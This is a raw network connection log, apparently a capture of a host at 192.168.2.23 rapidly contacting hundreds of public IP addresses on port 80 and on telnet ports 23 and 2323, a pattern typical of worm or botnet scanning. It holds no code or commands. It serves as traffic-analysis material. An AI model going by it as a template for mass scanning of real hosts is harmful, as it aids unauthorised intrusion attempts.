Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.167.6.160
Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.78.135.240
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.11.201.203
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.192.169.42
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.60.46.186
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.232.221.206
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.15.129.124
Dec 26, 2023 21:22:45.100644112 CET	45725	80	192.168.2.23	95.3.59.118
Dec 26, 2023 21:22:45.100670099 CET	45725	80	192.168.2.23	95.29.74.13
Dec 26, 2023 21:22:45.100682974 CET	45725	80	192.168.2.23	95.186.210.142
Dec 26, 2023 21:22:45.100688934 CET	45725	80	192.168.2.23	95.26.194.13
Dec 26, 2023 21:22:45.100696087 CET	45725	80	192.168.2.23	95.80.70.254
Dec 26, 2023 21:22:45.100696087 CET	45725	80	192.168.2.23	95.180.47.119
Dec 26, 2023 21:22:45.100697041 CET	45725	80	192.168.2.23	95.147.66.136
Dec 26, 2023 21:22:45.100697041 CET	45725	80	192.168.2.23	95.226.235.227
Dec 26, 2023 21:22:45.100697041 CET	45725	80	192.168.2.23	95.127.51.210
Dec 26, 2023 21:22:45.100697041 CET	45725	80	192.168.2.23	95.191.69.151
Dec 26, 2023 21:22:45.100722075 CET	45725	80	192.168.2.23	95.101.71.194
Dec 26, 2023 21:22:45.100722075 CET	45725	80	192.168.2.23	95.200.63.129
Dec 26, 2023 21:22:45.100724936 CET	45725	80	192.168.2.23	95.36.204.135
Dec 26, 2023 21:22:45.100737095 CET	45725	80	192.168.2.23	95.167.94.173
Dec 26, 2023 21:22:45.100742102 CET	45725	80	192.168.2.23	95.117.176.0
Dec 26, 2023 21:22:45.100745916 CET	45725	80	192.168.2.23	95.245.143.124
Dec 26, 2023 21:22:45.100768089 CET	45725	80	192.168.2.23	95.92.100.154
Dec 26, 2023 21:22:45.100768089 CET	45725	80	192.168.2.23	95.59.21.22
Dec 26, 2023 21:22:45.100769997 CET	45725	80	192.168.2.23	95.224.205.82
Dec 26, 2023 21:22:45.100781918 CET	45725	80	192.168.2.23	95.93.136.95
Dec 26, 2023 21:22:45.100800037 CET	45725	80	192.168.2.23	95.141.2.28
Dec 26, 2023 21:22:45.100805044 CET	45725	80	192.168.2.23	95.176.160.113
Dec 26, 2023 21:22:45.100814104 CET	45725	80	192.168.2.23	95.67.137.21
Dec 26, 2023 21:22:45.100819111 CET	45725	80	192.168.2.23	95.2.203.153
Dec 26, 2023 21:22:45.100819111 CET	45725	80	192.168.2.23	95.72.112.119
Dec 26, 2023 21:22:45.100821018 CET	45725	80	192.168.2.23	95.90.88.74
Dec 26, 2023 21:22:45.100824118 CET	45725	80	192.168.2.23	95.159.171.87
Dec 26, 2023 21:22:45.100830078 CET	45725	80	192.168.2.23	95.77.250.136
Dec 26, 2023 21:22:45.100831985 CET	45725	80	192.168.2.23	95.86.220.72
Dec 26, 2023 21:22:45.100833893 CET	45725	80	192.168.2.23	95.141.241.128
Dec 26, 2023 21:22:45.100853920 CET	45725	80	192.168.2.23	95.117.140.192
Dec 26, 2023 21:22:45.100857019 CET	45725	80	192.168.2.23	95.173.128.47
Dec 26, 2023 21:22:45.100857019 CET	45725	80	192.168.2.23	95.254.220.48
Dec 26, 2023 21:22:45.100862026 CET	45725	80	192.168.2.23	95.83.18.212
Dec 26, 2023 21:22:45.100866079 CET	45725	80	192.168.2.23	95.31.91.24
Dec 26, 2023 21:22:45.100873947 CET	45725	80	192.168.2.23	95.171.234.56
Dec 26, 2023 21:22:45.100883007 CET	45725	80	192.168.2.23	95.79.110.99
Dec 26, 2023 21:22:45.100893974 CET	45725	80	192.168.2.23	95.47.0.249
Dec 26, 2023 21:22:45.100893974 CET	45725	80	192.168.2.23	95.42.217.247
Dec 26, 2023 21:22:45.100907087 CET	45725	80	192.168.2.23	95.17.253.189
Dec 26, 2023 21:22:45.100910902 CET	45725	80	192.168.2.23	95.196.61.143
Dec 26, 2023 21:22:45.100912094 CET	45725	80	192.168.2.23	95.209.123.86
Dec 26, 2023 21:22:45.100927114 CET	45725	80	192.168.2.23	95.177.167.219
Dec 26, 2023 21:22:45.100927114 CET	45725	80	192.168.2.23	95.55.189.18
Dec 26, 2023 21:22:45.100934982 CET	45725	80	192.168.2.23	95.52.0.71
Dec 26, 2023 21:22:45.100950003 CET	45725	80	192.168.2.23	95.158.98.253
Dec 26, 2023 21:22:45.100958109 CET	45725	80	192.168.2.23	95.117.197.249
Dec 26, 2023 21:22:45.100959063 CET	45725	80	192.168.2.23	95.8.38.233
Dec 26, 2023 21:22:45.100959063 CET	45725	80	192.168.2.23	95.249.236.133
Dec 26, 2023 21:22:45.100965023 CET	45725	80	192.168.2.23	95.76.2.167
Dec 26, 2023 21:22:45.100967884 CET	45725	80	192.168.2.23	95.130.3.155
Dec 26, 2023 21:22:45.100977898 CET	45725	80	192.168.2.23	95.177.144.176
Dec 26, 2023 21:22:45.100981951 CET	45725	80	192.168.2.23	95.3.212.86
Dec 26, 2023 21:22:45.100990057 CET	45725	80	192.168.2.23	95.179.56.67
Dec 26, 2023 21:22:45.100999117 CET	45725	80	192.168.2.23	95.175.82.116
Dec 26, 2023 21:22:45.101002932 CET	45725	80	192.168.2.23	95.171.92.26
Dec 26, 2023 21:22:45.101018906 CET	45725	80	192.168.2.23	95.247.252.17
Dec 26, 2023 21:22:45.101022959 CET	45725	80	192.168.2.23	95.45.45.179
Dec 26, 2023 21:22:45.101022959 CET	45725	80	192.168.2.23	95.243.6.28
Dec 26, 2023 21:22:45.101031065 CET	45725	80	192.168.2.23	95.29.238.43
Dec 26, 2023 21:22:45.101046085 CET	45725	80	192.168.2.23	95.107.74.86
Dec 26, 2023 21:22:45.101048946 CET	45725	80	192.168.2.23	95.3.196.81
Dec 26, 2023 21:22:45.101058006 CET	45725	80	192.168.2.23	95.164.35.195
Dec 26, 2023 21:22:45.101063967 CET	45725	80	192.168.2.23	95.90.31.115
Dec 26, 2023 21:22:45.101070881 CET	45725	80	192.168.2.23	95.100.247.85
Dec 26, 2023 21:22:45.101078033 CET	45725	80	192.168.2.23	95.26.23.238
Dec 26, 2023 21:22:45.101094007 CET	45725	80	192.168.2.23	95.165.123.26
Dec 26, 2023 21:22:45.101094007 CET	45725	80	192.168.2.23	95.129.31.44
Dec 26, 2023 21:22:45.101094961 CET	45725	80	192.168.2.23	95.240.212.11
Dec 26, 2023 21:22:45.101094961 CET	45725	80	192.168.2.23	95.87.242.248
Dec 26, 2023 21:22:45.101104975 CET	45725	80	192.168.2.23	95.69.155.142
Dec 26, 2023 21:22:45.101114035 CET	45725	80	192.168.2.23	95.222.49.173
Dec 26, 2023 21:22:45.101114035 CET	45725	80	192.168.2.23	95.205.118.120
Dec 26, 2023 21:22:45.101125956 CET	45725	80	192.168.2.23	95.44.219.108
Dec 26, 2023 21:22:45.101131916 CET	45725	80	192.168.2.23	95.29.9.16
Dec 26, 2023 21:22:45.101140976 CET	45725	80	192.168.2.23	95.142.14.51
Dec 26, 2023 21:22:45.101149082 CET	45725	80	192.168.2.23	95.97.245.180
Dec 26, 2023 21:22:45.101157904 CET	45725	80	192.168.2.23	95.224.168.98
Dec 26, 2023 21:22:45.101171017 CET	45725	80	192.168.2.23	95.134.41.225
Dec 26, 2023 21:22:45.101175070 CET	45725	80	192.168.2.23	95.70.67.150
Dec 26, 2023 21:22:45.101181984 CET	45725	80	192.168.2.23	95.227.212.15
Dec 26, 2023 21:22:45.101191998 CET	45725	80	192.168.2.23	95.0.193.120
Dec 26, 2023 21:22:45.101191998 CET	45725	80	192.168.2.23	95.1.226.85
Dec 26, 2023 21:22:45.101207972 CET	45725	80	192.168.2.23	95.162.248.35
Dec 26, 2023 21:22:45.101213932 CET	45725	80	192.168.2.23	95.239.58.190
Dec 26, 2023 21:22:45.101216078 CET	45725	80	192.168.2.23	95.198.17.152
Dec 26, 2023 21:22:45.101222992 CET	45725	80	192.168.2.23	95.193.218.225
Dec 26, 2023 21:22:45.101232052 CET	45725	80	192.168.2.23	95.94.248.66
Dec 26, 2023 21:22:45.101238966 CET	45725	80	192.168.2.23	95.0.182.213
Dec 26, 2023 21:22:45.101241112 CET	45725	80	192.168.2.23	95.225.27.238
Dec 26, 2023 21:22:45.101253986 CET	45725	80	192.168.2.23	95.90.75.56
Dec 26, 2023 21:22:45.101260900 CET	45725	80	192.168.2.23	95.170.96.211
Dec 26, 2023 21:22:45.101270914 CET	45725	80	192.168.2.23	95.162.122.218
Dec 26, 2023 21:22:45.101277113 CET	45725	80	192.168.2.23	95.162.226.251
Dec 26, 2023 21:22:45.101284981 CET	45725	80	192.168.2.23	95.90.69.118
Dec 26, 2023 21:22:45.101289034 CET	45725	80	192.168.2.23	95.157.121.131
Dec 26, 2023 21:22:45.101294041 CET	45725	80	192.168.2.23	95.17.193.143
Dec 26, 2023 21:22:45.101296902 CET	45725	80	192.168.2.23	95.238.57.173
Dec 26, 2023 21:22:45.101310968 CET	45725	80	192.168.2.23	95.160.11.142
Dec 26, 2023 21:22:45.101315022 CET	45725	80	192.168.2.23	95.251.172.49
Dec 26, 2023 21:22:45.101319075 CET	45725	80	192.168.2.23	95.54.135.147
Dec 26, 2023 21:22:45.101327896 CET	45725	80	192.168.2.23	95.233.111.223
Dec 26, 2023 21:22:45.101334095 CET	45725	80	192.168.2.23	95.4.150.106
Dec 26, 2023 21:22:45.101347923 CET	45725	80	192.168.2.23	95.219.249.131
Dec 26, 2023 21:22:45.101350069 CET	45725	80	192.168.2.23	95.51.232.218
Dec 26, 2023 21:22:45.101367950 CET	45725	80	192.168.2.23	95.53.160.65
Dec 26, 2023 21:22:45.101367950 CET	45725	80	192.168.2.23	95.32.10.55
Dec 26, 2023 21:22:45.101408958 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:45.104790926 CET	36253	2323	192.168.2.23	130.138.211.116
Dec 26, 2023 21:22:45.104793072 CET	36253	23	192.168.2.23	52.201.110.130
Dec 26, 2023 21:22:45.104793072 CET	36253	23	192.168.2.23	25.203.135.169
Dec 26, 2023 21:22:45.104799032 CET	36253	23	192.168.2.23	152.195.76.87
Dec 26, 2023 21:22:45.104800940 CET	36253	23	192.168.2.23	169.221.222.57
Dec 26, 2023 21:22:45.104800940 CET	36253	23	192.168.2.23	59.25.109.72
Dec 26, 2023 21:22:45.104806900 CET	36253	23	192.168.2.23	150.74.46.135
Dec 26, 2023 21:22:45.104806900 CET	36253	23	192.168.2.23	36.142.197.135
Dec 26, 2023 21:22:45.104809999 CET	36253	23	192.168.2.23	166.187.143.105
Dec 26, 2023 21:22:45.104821920 CET	36253	23	192.168.2.23	128.126.92.14
Dec 26, 2023 21:22:45.104823112 CET	36253	2323	192.168.2.23	113.134.83.13
Dec 26, 2023 21:22:45.104835033 CET	36253	23	192.168.2.23	71.195.218.124
Dec 26, 2023 21:22:45.104835033 CET	36253	23	192.168.2.23	42.174.92.165
Dec 26, 2023 21:22:45.104836941 CET	36253	23	192.168.2.23	115.4.217.52
Dec 26, 2023 21:22:45.104836941 CET	36253	23	192.168.2.23	166.65.154.207
Dec 26, 2023 21:22:45.104840040 CET	36253	23	192.168.2.23	75.160.228.47
Dec 26, 2023 21:22:45.104840040 CET	36253	23	192.168.2.23	80.116.41.191
Dec 26, 2023 21:22:45.104866028 CET	36253	2323	192.168.2.23	73.126.34.136
Dec 26, 2023 21:22:45.104866028 CET	36253	23	192.168.2.23	84.7.111.59
Dec 26, 2023 21:22:45.104866028 CET	36253	23	192.168.2.23	42.246.184.50
Dec 26, 2023 21:22:45.104866028 CET	36253	23	192.168.2.23	48.195.242.1
Dec 26, 2023 21:22:45.104868889 CET	36253	23	192.168.2.23	140.34.233.50
Dec 26, 2023 21:22:45.104866028 CET	36253	23	192.168.2.23	191.19.112.35
Dec 26, 2023 21:22:45.104866982 CET	36253	23	192.168.2.23	88.59.92.183
Dec 26, 2023 21:22:45.104868889 CET	36253	23	192.168.2.23	173.126.101.231
Dec 26, 2023 21:22:45.104868889 CET	36253	23	192.168.2.23	169.245.33.105
Dec 26, 2023 21:22:45.104892969 CET	36253	23	192.168.2.23	174.207.242.51
Dec 26, 2023 21:22:45.104892969 CET	36253	23	192.168.2.23	117.39.4.201
Dec 26, 2023 21:22:45.104896069 CET	36253	2323	192.168.2.23	92.247.101.88
Dec 26, 2023 21:22:45.104896069 CET	36253	23	192.168.2.23	1.123.0.33
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	187.121.249.248
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	142.87.198.21
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	189.187.206.23
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	63.140.253.114
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	194.220.60.234
Dec 26, 2023 21:22:45.104897976 CET	36253	23	192.168.2.23	116.219.162.81
Dec 26, 2023 21:22:45.104918957 CET	36253	23	192.168.2.23	92.10.194.137
Dec 26, 2023 21:22:45.104918957 CET	36253	23	192.168.2.23	9.92.18.37
Dec 26, 2023 21:22:45.104921103 CET	36253	23	192.168.2.23	98.131.23.150
Dec 26, 2023 21:22:45.104921103 CET	36253	23	192.168.2.23	158.113.248.230
Dec 26, 2023 21:22:45.104922056 CET	36253	23	192.168.2.23	202.40.254.33
Dec 26, 2023 21:22:45.104921103 CET	36253	23	192.168.2.23	116.38.5.185
Dec 26, 2023 21:22:45.104922056 CET	36253	23	192.168.2.23	53.118.55.229
Dec 26, 2023 21:22:45.104921103 CET	36253	23	192.168.2.23	63.84.204.238
Dec 26, 2023 21:22:45.104921103 CET	36253	23	192.168.2.23	52.170.228.103
Dec 26, 2023 21:22:45.104923010 CET	36253	23	192.168.2.23	107.42.54.161
Dec 26, 2023 21:22:45.104923010 CET	36253	2323	192.168.2.23	132.193.44.27
Dec 26, 2023 21:22:45.104923010 CET	36253	23	192.168.2.23	109.104.211.218
Dec 26, 2023 21:22:45.104923010 CET	36253	23	192.168.2.23	117.170.212.170
Dec 26, 2023 21:22:45.104929924 CET	36253	23	192.168.2.23	79.168.110.54
Dec 26, 2023 21:22:45.104942083 CET	36253	23	192.168.2.23	38.171.162.75
Dec 26, 2023 21:22:45.104942083 CET	36253	2323	192.168.2.23	207.31.39.180
Dec 26, 2023 21:22:45.104942083 CET	36253	23	192.168.2.23	70.41.241.0
Dec 26, 2023 21:22:45.104942083 CET	36253	23	192.168.2.23	34.59.92.116
Dec 26, 2023 21:22:45.104945898 CET	36253	23	192.168.2.23	58.29.67.29
Dec 26, 2023 21:22:45.104947090 CET	36253	23	192.168.2.23	81.224.82.157
Dec 26, 2023 21:22:45.104947090 CET	36253	2323	192.168.2.23	108.46.43.206
Dec 26, 2023 21:22:45.104949951 CET	36253	23	192.168.2.23	78.107.78.60
Dec 26, 2023 21:22:45.104949951 CET	36253	23	192.168.2.23	200.61.205.227
Dec 26, 2023 21:22:45.104964018 CET	36253	23	192.168.2.23	158.23.228.132
Dec 26, 2023 21:22:45.104968071 CET	36253	23	192.168.2.23	123.186.83.54
Dec 26, 2023 21:22:45.104968071 CET	36253	23	192.168.2.23	97.137.248.5
Dec 26, 2023 21:22:45.104968071 CET	36253	23	192.168.2.23	102.199.242.60
Dec 26, 2023 21:22:45.104969025 CET	36253	23	192.168.2.23	104.75.31.149
Dec 26, 2023 21:22:45.104968071 CET	36253	23	192.168.2.23	220.35.81.163
Dec 26, 2023 21:22:45.104969978 CET	36253	23	192.168.2.23	178.56.29.195
Dec 26, 2023 21:22:45.104968071 CET	36253	23	192.168.2.23	113.65.50.38
Dec 26, 2023 21:22:45.104974031 CET	36253	23	192.168.2.23	46.143.0.191
Dec 26, 2023 21:22:45.104974031 CET	36253	23	192.168.2.23	115.49.125.150
Dec 26, 2023 21:22:45.104983091 CET	36253	23	192.168.2.23	92.208.250.152
Dec 26, 2023 21:22:45.104983091 CET	36253	23	192.168.2.23	161.184.247.19
Dec 26, 2023 21:22:45.104984999 CET	36253	23	192.168.2.23	139.73.4.160
Dec 26, 2023 21:22:45.104984999 CET	36253	23	192.168.2.23	99.204.231.102
Dec 26, 2023 21:22:45.104988098 CET	36253	23	192.168.2.23	156.150.150.234
Dec 26, 2023 21:22:45.104989052 CET	36253	23	192.168.2.23	53.99.2.187
Dec 26, 2023 21:22:45.104994059 CET	36253	23	192.168.2.23	216.136.164.133
Dec 26, 2023 21:22:45.105005026 CET	36253	23	192.168.2.23	205.218.92.172
Dec 26, 2023 21:22:45.105005026 CET	36253	23	192.168.2.23	53.76.192.243
Dec 26, 2023 21:22:45.105005026 CET	36253	23	192.168.2.23	117.188.34.89
Dec 26, 2023 21:22:45.105005980 CET	36253	23	192.168.2.23	183.73.247.31
Dec 26, 2023 21:22:45.105007887 CET	36253	23	192.168.2.23	155.173.76.206
Dec 26, 2023 21:22:45.105007887 CET	36253	2323	192.168.2.23	82.229.184.166
Dec 26, 2023 21:22:45.105007887 CET	36253	2323	192.168.2.23	65.65.44.124
Dec 26, 2023 21:22:45.105007887 CET	36253	23	192.168.2.23	192.161.61.74
Dec 26, 2023 21:22:45.105007887 CET	36253	23	192.168.2.23	32.177.96.240
Dec 26, 2023 21:22:45.105009079 CET	36253	23	192.168.2.23	145.141.179.46
Dec 26, 2023 21:22:45.105009079 CET	36253	23	192.168.2.23	176.97.223.133
Dec 26, 2023 21:22:45.105009079 CET	36253	23	192.168.2.23	104.122.95.185
Dec 26, 2023 21:22:45.105025053 CET	36253	2323	192.168.2.23	120.133.6.61
Dec 26, 2023 21:22:45.105026960 CET	36253	23	192.168.2.23	130.100.227.42
Dec 26, 2023 21:22:45.105026960 CET	36253	23	192.168.2.23	185.18.163.224
Dec 26, 2023 21:22:45.105026960 CET	36253	23	192.168.2.23	65.37.157.0
Dec 26, 2023 21:22:45.105026960 CET	36253	23	192.168.2.23	147.8.221.33
Dec 26, 2023 21:22:45.105031013 CET	36253	23	192.168.2.23	178.38.251.236
Dec 26, 2023 21:22:45.105031013 CET	36253	2323	192.168.2.23	125.32.64.207
Dec 26, 2023 21:22:45.105031013 CET	36253	23	192.168.2.23	75.33.96.128
Dec 26, 2023 21:22:45.105036020 CET	36253	23	192.168.2.23	78.202.147.244
Dec 26, 2023 21:22:45.105036020 CET	36253	23	192.168.2.23	82.201.53.7
Dec 26, 2023 21:22:45.105038881 CET	36253	23	192.168.2.23	135.172.64.3
Dec 26, 2023 21:22:45.105031013 CET	36253	23	192.168.2.23	120.141.222.74
Dec 26, 2023 21:22:45.105038881 CET	36253	23	192.168.2.23	170.16.247.61
Dec 26, 2023 21:22:45.105041027 CET	36253	23	192.168.2.23	83.102.69.66
Dec 26, 2023 21:22:45.105038881 CET	36253	23	192.168.2.23	140.102.33.95
Dec 26, 2023 21:22:45.105041027 CET	36253	23	192.168.2.23	175.192.232.125
Dec 26, 2023 21:22:45.105038881 CET	36253	23	192.168.2.23	126.95.247.67
Dec 26, 2023 21:22:45.105041027 CET	36253	23	192.168.2.23	49.240.21.34
Dec 26, 2023 21:22:45.105043888 CET	36253	23	192.168.2.23	57.233.57.57
Dec 26, 2023 21:22:45.105043888 CET	36253	23	192.168.2.23	122.89.216.197
Dec 26, 2023 21:22:45.105053902 CET	36253	23	192.168.2.23	110.197.248.135
Dec 26, 2023 21:22:45.105053902 CET	36253	2323	192.168.2.23	96.171.47.23
Dec 26, 2023 21:22:45.105067968 CET	36253	23	192.168.2.23	207.72.216.76
Dec 26, 2023 21:22:45.105067968 CET	36253	23	192.168.2.23	185.241.69.145
Dec 26, 2023 21:22:45.105067968 CET	36253	23	192.168.2.23	70.73.150.124
Dec 26, 2023 21:22:45.105068922 CET	36253	23	192.168.2.23	171.45.225.69
Dec 26, 2023 21:22:45.105067968 CET	36253	23	192.168.2.23	2.218.210.197
Dec 26, 2023 21:22:45.105068922 CET	36253	23	192.168.2.23	124.127.39.31
Dec 26, 2023 21:22:45.105068922 CET	36253	2323	192.168.2.23	202.178.253.170
Dec 26, 2023 21:22:45.105073929 CET	36253	23	192.168.2.23	42.238.160.236
Dec 26, 2023 21:22:45.105073929 CET	36253	23	192.168.2.23	92.94.214.167
Dec 26, 2023 21:22:45.105079889 CET	36253	23	192.168.2.23	195.139.103.12
Dec 26, 2023 21:22:45.105079889 CET	36253	2323	192.168.2.23	130.234.124.190
Dec 26, 2023 21:22:45.105081081 CET	36253	23	192.168.2.23	173.75.80.59
Dec 26, 2023 21:22:45.105081081 CET	36253	23	192.168.2.23	93.89.218.116
Dec 26, 2023 21:22:45.105081081 CET	36253	23	192.168.2.23	99.134.93.232
Dec 26, 2023 21:22:45.105081081 CET	36253	23	192.168.2.23	191.8.225.230
Dec 26, 2023 21:22:45.105081081 CET	36253	23	192.168.2.23	196.70.80.225
Dec 26, 2023 21:22:45.105083942 CET	36253	23	192.168.2.23	71.31.107.12
Dec 26, 2023 21:22:45.105083942 CET	36253	23	192.168.2.23	190.24.101.67
Dec 26, 2023 21:22:45.105083942 CET	36253	23	192.168.2.23	197.36.47.135
Dec 26, 2023 21:22:45.105083942 CET	36253	23	192.168.2.23	64.126.4.221
Dec 26, 2023 21:22:45.105083942 CET	36253	23	192.168.2.23	194.31.129.191
Dec 26, 2023 21:22:45.105086088 CET	36253	23	192.168.2.23	138.33.43.189
Dec 26, 2023 21:22:45.105086088 CET	36253	23	192.168.2.23	149.60.107.91
Dec 26, 2023 21:22:45.105086088 CET	36253	23	192.168.2.23	212.13.238.200
Dec 26, 2023 21:22:45.105093002 CET	36253	23	192.168.2.23	18.50.159.98
Dec 26, 2023 21:22:45.105093002 CET	36253	23	192.168.2.23	19.132.36.175
Dec 26, 2023 21:22:45.105093002 CET	36253	23	192.168.2.23	163.5.147.54
Dec 26, 2023 21:22:45.105098009 CET	36253	23	192.168.2.23	88.41.80.162
Dec 26, 2023 21:22:45.105098009 CET	36253	23	192.168.2.23	110.190.189.168
Dec 26, 2023 21:22:45.105108023 CET	36253	23	192.168.2.23	160.150.48.38
Dec 26, 2023 21:22:45.105108023 CET	36253	23	192.168.2.23	103.51.247.103
Dec 26, 2023 21:22:45.105108976 CET	36253	23	192.168.2.23	97.118.110.131
Dec 26, 2023 21:22:45.105110884 CET	36253	2323	192.168.2.23	1.207.202.187
Dec 26, 2023 21:22:45.105110884 CET	36253	23	192.168.2.23	60.193.25.95
Dec 26, 2023 21:22:45.105110884 CET	36253	23	192.168.2.23	132.58.167.44
Dec 26, 2023 21:22:45.105112076 CET	36253	23	192.168.2.23	59.116.232.8
Dec 26, 2023 21:22:45.105112076 CET	36253	2323	192.168.2.23	96.27.163.224
Dec 26, 2023 21:22:45.105118036 CET	36253	23	192.168.2.23	146.26.84.179
Dec 26, 2023 21:22:45.105118036 CET	36253	23	192.168.2.23	200.246.164.173
Dec 26, 2023 21:22:45.105128050 CET	36253	23	192.168.2.23	147.114.213.182
Dec 26, 2023 21:22:45.105130911 CET	36253	23	192.168.2.23	77.44.247.178
Dec 26, 2023 21:22:45.105130911 CET	36253	23	192.168.2.23	136.107.82.2
Dec 26, 2023 21:22:45.105130911 CET	36253	23	192.168.2.23	155.154.159.99
Dec 26, 2023 21:22:45.105138063 CET	36253	23	192.168.2.23	165.215.169.249
Dec 26, 2023 21:22:45.105139971 CET	36253	23	192.168.2.23	176.166.92.65
Dec 26, 2023 21:22:45.105139971 CET	36253	23	192.168.2.23	76.28.2.29
Dec 26, 2023 21:22:45.105139971 CET	36253	23	192.168.2.23	179.192.235.225
Dec 26, 2023 21:22:45.105140924 CET	36253	23	192.168.2.23	120.166.135.177
Dec 26, 2023 21:22:45.105140924 CET	36253	23	192.168.2.23	60.42.22.137
Dec 26, 2023 21:22:45.105140924 CET	36253	23	192.168.2.23	177.153.132.73
Dec 26, 2023 21:22:45.105149984 CET	36253	2323	192.168.2.23	74.25.34.117
Dec 26, 2023 21:22:45.105149984 CET	36253	23	192.168.2.23	36.126.78.8
Dec 26, 2023 21:22:45.105154037 CET	36253	23	192.168.2.23	152.217.248.71
Dec 26, 2023 21:22:45.105154991 CET	36253	23	192.168.2.23	202.255.103.66
Dec 26, 2023 21:22:45.105156898 CET	36253	23	192.168.2.23	79.28.23.62
Dec 26, 2023 21:22:45.105156898 CET	36253	23	192.168.2.23	208.11.3.98
Dec 26, 2023 21:22:45.105158091 CET	36253	23	192.168.2.23	99.186.4.255
Dec 26, 2023 21:22:45.105163097 CET	36253	23	192.168.2.23	116.70.204.48
Dec 26, 2023 21:22:45.105163097 CET	36253	23	192.168.2.23	190.179.171.218
Dec 26, 2023 21:22:45.105170012 CET	36253	23	192.168.2.23	36.213.220.48
Dec 26, 2023 21:22:45.105170965 CET	36253	23	192.168.2.23	97.109.135.74
Dec 26, 2023 21:22:45.105170965 CET	36253	23	192.168.2.23	205.144.181.98
Dec 26, 2023 21:22:45.105170965 CET	36253	23	192.168.2.23	31.195.143.68
Dec 26, 2023 21:22:45.105175972 CET	36253	23	192.168.2.23	54.143.27.136
Dec 26, 2023 21:22:45.105175972 CET	36253	23	192.168.2.23	91.146.9.241
Dec 26, 2023 21:22:45.105175972 CET	36253	23	192.168.2.23	159.92.232.221
Dec 26, 2023 21:22:45.105185032 CET	36253	2323	192.168.2.23	4.39.193.129
Dec 26, 2023 21:22:45.105185986 CET	36253	23	192.168.2.23	145.108.184.31
Dec 26, 2023 21:22:45.105186939 CET	36253	2323	192.168.2.23	23.192.105.221
Dec 26, 2023 21:22:45.105190992 CET	36253	23	192.168.2.23	195.108.8.238
Dec 26, 2023 21:22:45.105190992 CET	36253	23	192.168.2.23	201.16.182.1
Dec 26, 2023 21:22:45.105191946 CET	36253	23	192.168.2.23	197.210.167.236
Dec 26, 2023 21:22:45.105191946 CET	36253	23	192.168.2.23	219.192.243.138
Dec 26, 2023 21:22:45.105191946 CET	36253	23	192.168.2.23	58.10.106.186
Dec 26, 2023 21:22:45.105211020 CET	36253	23	192.168.2.23	107.196.202.249
Dec 26, 2023 21:22:45.105216026 CET	36253	23	192.168.2.23	187.189.199.88
Dec 26, 2023 21:22:45.105216026 CET	36253	23	192.168.2.23	204.174.185.196
Dec 26, 2023 21:22:45.105217934 CET	36253	23	192.168.2.23	44.147.240.226
Dec 26, 2023 21:22:45.105220079 CET	36253	23	192.168.2.23	25.190.221.35
Dec 26, 2023 21:22:45.105227947 CET	36253	23	192.168.2.23	14.108.168.178
Dec 26, 2023 21:22:45.105236053 CET	36253	2323	192.168.2.23	175.28.18.162
Dec 26, 2023 21:22:45.105246067 CET	36253	23	192.168.2.23	124.51.167.211
Dec 26, 2023 21:22:45.105252028 CET	36253	23	192.168.2.23	77.98.177.82
Dec 26, 2023 21:22:45.105256081 CET	36253	23	192.168.2.23	129.100.166.181
Dec 26, 2023 21:22:45.105256081 CET	36253	23	192.168.2.23	201.22.115.76
Dec 26, 2023 21:22:45.105256081 CET	36253	23	192.168.2.23	12.245.61.17
Dec 26, 2023 21:22:45.105263948 CET	36253	23	192.168.2.23	53.131.209.188
Dec 26, 2023 21:22:45.105266094 CET	36253	23	192.168.2.23	159.45.32.228
Dec 26, 2023 21:22:45.105266094 CET	36253	23	192.168.2.23	143.84.56.151
Dec 26, 2023 21:22:45.105273962 CET	36253	23	192.168.2.23	178.31.244.133
Dec 26, 2023 21:22:45.105274916 CET	36253	23	192.168.2.23	59.212.14.99
Dec 26, 2023 21:22:45.105278015 CET	36253	2323	192.168.2.23	59.249.148.95
Dec 26, 2023 21:22:45.105278015 CET	36253	23	192.168.2.23	151.254.240.100
Dec 26, 2023 21:22:45.105288982 CET	36253	23	192.168.2.23	50.111.45.197
Dec 26, 2023 21:22:45.105290890 CET	36253	23	192.168.2.23	70.201.153.13
Dec 26, 2023 21:22:45.105288029 CET	36253	23	192.168.2.23	89.228.4.176
Dec 26, 2023 21:22:45.105288982 CET	36253	23	192.168.2.23	18.66.226.212
Dec 26, 2023 21:22:45.105299950 CET	36253	2323	192.168.2.23	185.99.39.53
Dec 26, 2023 21:22:45.105299950 CET	36253	23	192.168.2.23	140.213.173.167
Dec 26, 2023 21:22:45.105299950 CET	36253	23	192.168.2.23	62.188.113.194
Dec 26, 2023 21:22:45.105302095 CET	36253	23	192.168.2.23	211.240.59.205
Dec 26, 2023 21:22:45.105302095 CET	36253	23	192.168.2.23	31.110.122.187
Dec 26, 2023 21:22:45.105302095 CET	36253	23	192.168.2.23	18.124.220.62
Dec 26, 2023 21:22:45.105302095 CET	36253	23	192.168.2.23	153.164.227.185
Dec 26, 2023 21:22:45.105308056 CET	36253	23	192.168.2.23	148.71.41.189
Dec 26, 2023 21:22:45.105314016 CET	36253	23	192.168.2.23	86.7.120.56
Dec 26, 2023 21:22:45.105314970 CET	36253	23	192.168.2.23	212.14.54.120
Dec 26, 2023 21:22:45.105314016 CET	36253	23	192.168.2.23	34.28.50.157
Dec 26, 2023 21:22:45.105314970 CET	36253	23	192.168.2.23	46.133.53.185
Dec 26, 2023 21:22:45.105314970 CET	36253	23	192.168.2.23	182.55.156.253
Dec 26, 2023 21:22:45.105314970 CET	36253	23	192.168.2.23	85.249.90.120
Dec 26, 2023 21:22:45.105319977 CET	36253	23	192.168.2.23	125.90.160.17
Dec 26, 2023 21:22:45.105330944 CET	36253	23	192.168.2.23	122.191.255.180
Dec 26, 2023 21:22:45.105330944 CET	36253	23	192.168.2.23	45.221.126.165
Dec 26, 2023 21:22:45.105329990 CET	36253	23	192.168.2.23	166.219.233.250
